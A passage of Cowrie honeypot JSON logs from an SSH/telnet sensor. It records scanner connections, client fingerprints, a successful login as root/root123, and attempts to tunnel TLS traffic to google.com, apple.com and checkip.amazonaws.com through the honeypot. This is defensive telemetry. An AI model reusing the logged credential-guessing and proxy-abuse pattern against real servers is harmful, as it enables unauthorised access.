\\xec\\xe3\\xee\\xd35\\x88\\x91\\xa1\\xc3G\\xc7\\xea\\xc5\\xf1\\xa8i\\r.\\x17\\xf1\\x01\\xeeP\\xd8\\xa8\\x8fu\\xc6\\x8d\\x0b\\xf1\\x10\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xdd;\\xac\\xc9Y\\xae7\\x04\\xb1\\x12\\xcb{A!\\xf6\\xdc\\xf5\\xf2\\x02C?'\\xc7\\x8f\\xc9\\x88\\x14\\xf5|M\\xa11\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:32.403347Z","src_ip":"80.94.95.118","session":"974cdcc2751a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.156.119","dst_port":443,"src_ip":"80.94.95.118","src_port":56438,"message":"direct-tcp connection request to 142.251.156.119:443 from 127.0.0.1:56438","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:37.337171Z","session":"974cdcc2751a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.156.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.156.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:39.114485Z","src_ip":"80.94.95.118","session":"974cdcc2751a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.156.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa0\\xff\\xf0\\xbb\\xbe\\xd7\\xc1\\xc7j&\\xf4\\x8a\\xd7\\x8a\\xbaAK\\x0e0\\x15\\x13\\x86\\xdc\\x0f\\x08\\n\\xe0a\\x94&\\x99\\xea l\\xde\\xaa#\\xb2+\\xd2}\\x97\\xbd\\x8b\\x08\\x95\\xfb\\x90\\xb6#\\xa4\\xdc\\x9a\\xb6\\xf6\\xf5[}\\xef\\xaf\\xdd\\xaa\\x1e\\x13\\xb0\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x18Ue'\\x17\\x7fj5\\xc2\\x10\\xc83\\x11\\xaa|\\xcf\\xb3T\\xb2\\xc0'\\xe9\\xfa\\xff\\xc0E\\x93sum5\\x11\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.156.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa0\\xff\\xf0\\xbb\\xbe\\xd7\\xc1\\xc7j&\\xf4\\x8a\\xd7\\x8a\\xbaAK\\x0e0\\x15\\x13\\x86\\xdc\\x0f\\x08\\n\\xe0a\\x94&\\x99\\xea l\\xde\\xaa#\\xb2+\\xd2}\\x97\\xbd\\x8b\\x08\\x95\\xfb\\x90\\xb6#\\xa4\\xdc\\x9a\\xb6\\xf6\\xf5[}\\xef\\xaf\\xdd\\xaa\\x1e\\x13\\xb0\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x18Ue'\\x17\\x7fj5\\xc2\\x10\\xc83\\x11\\xaa|\\xcf\\xb3T\\xb2\\xc0'\\xe9\\xfa\\xff\\xc0E\\x93sum5\\x11\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:39.119070Z","src_ip":"80.94.95.118","session":"974cdcc2751a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.7","message":"Connection lost after 30.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:39.937061Z","src_ip":"80.94.95.118","session":"974cdcc2751a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.62","src_port":39716,"dst_ip":"159.203.135.109","dst_port":22,"session":"42f16b3deda8","protocol":"ssh","message":"New connection: 85.217.149.62:39716 (159.203.135.109:22) [session: 42f16b3deda8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:48.903764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:48.908114Z","src_ip":"85.217.149.62","session":"42f16b3deda8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc3aee897af7d3feb9fc37b89c7d15c9","hasshAlgorithms":"curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc3aee897af7d3feb9fc37b89c7d15c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:48.926179Z","src_ip":"85.217.149.62","session":"42f16b3deda8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:48.948843Z","src_ip":"85.217.149.62","session":"42f16b3deda8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.01791000366211,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:33:29.294557Z","src_ip":"216.180.246.150","session":"0aadf18abbc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.209","src_port":2082,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea67cff637c8","protocol":"telnet","message":"New connection: 216.180.246.209:2082 (159.203.135.109:23) [session: ea67cff637c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:34:41.458709Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.209","src_port":28670,"dst_ip":"159.203.135.109","dst_port":22,"session":"7936f5b9fccc","protocol":"ssh","message":"New connection: 216.180.246.209:28670 (159.203.135.109:22) [session: 7936f5b9fccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:34:42.392543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:34:43.139792Z","src_ip":"216.180.246.209","session":"7936f5b9fccc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:34:43.143442Z","src_ip":"216.180.246.209","session":"7936f5b9fccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:34:43.843873Z","src_ip":"216.180.246.209","session":"7936f5b9fccc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.118","src_port":56810,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a1ddb528f12","protocol":"ssh","message":"New connection: 80.94.95.118:56810 (159.203.135.109:22) [session: 2a1ddb528f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:34:55.252793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:34:55.256632Z","src_ip":"80.94.95.118","session":"2a1ddb528f12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:34:55.358624Z","src_ip":"80.94.95.118","session":"2a1ddb528f12","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123","message":"login attempt [root/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:34:55.846344Z","src_ip":"80.94.95.118","session":"2a1ddb528f12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"54.228.15.104","dst_port":443,"src_ip":"80.94.95.118","src_port":41876,"message":"direct-tcp connection request to 54.228.15.104:443 from 127.0.0.1:41876","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:34:58.810479Z","session":"2a1ddb528f12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"54.228.15.104","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 54.228.15.104:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:34:59.486687Z","src_ip":"80.94.95.118","session":"2a1ddb528f12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"54.228.15.104","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb1.\\xed\\xa9GL\\xba\\xc9\\xde\\x9b\\x82\\x80)\\xdcU\\x1b\\xd4Fr\\xbb\\xb6%N3<\\x82\\xd6\\xd9\\x94\\x9bi\\xe4 \\xcb\\xaa\\xab\\x89\\x8e\\xadt\\x97\\xba\\xae\\xa1\\xf0\\xbb\\x91\\xba\\xd1\\r\"Xa\\xd5\\x8al,\\xd8Z\\xa5\\x18\\xb5\\xc1{\\xcd\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 c\\xa4\\xac\\x9f:[\\xcc\\x0bfh\\x12\\xee\\xce\\x91&\\xc0\\x9b\\xa9\\x16\\xced\\xdei\\xaa+\\xd7\\xc6\\xac\\x84\\xbb*K\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\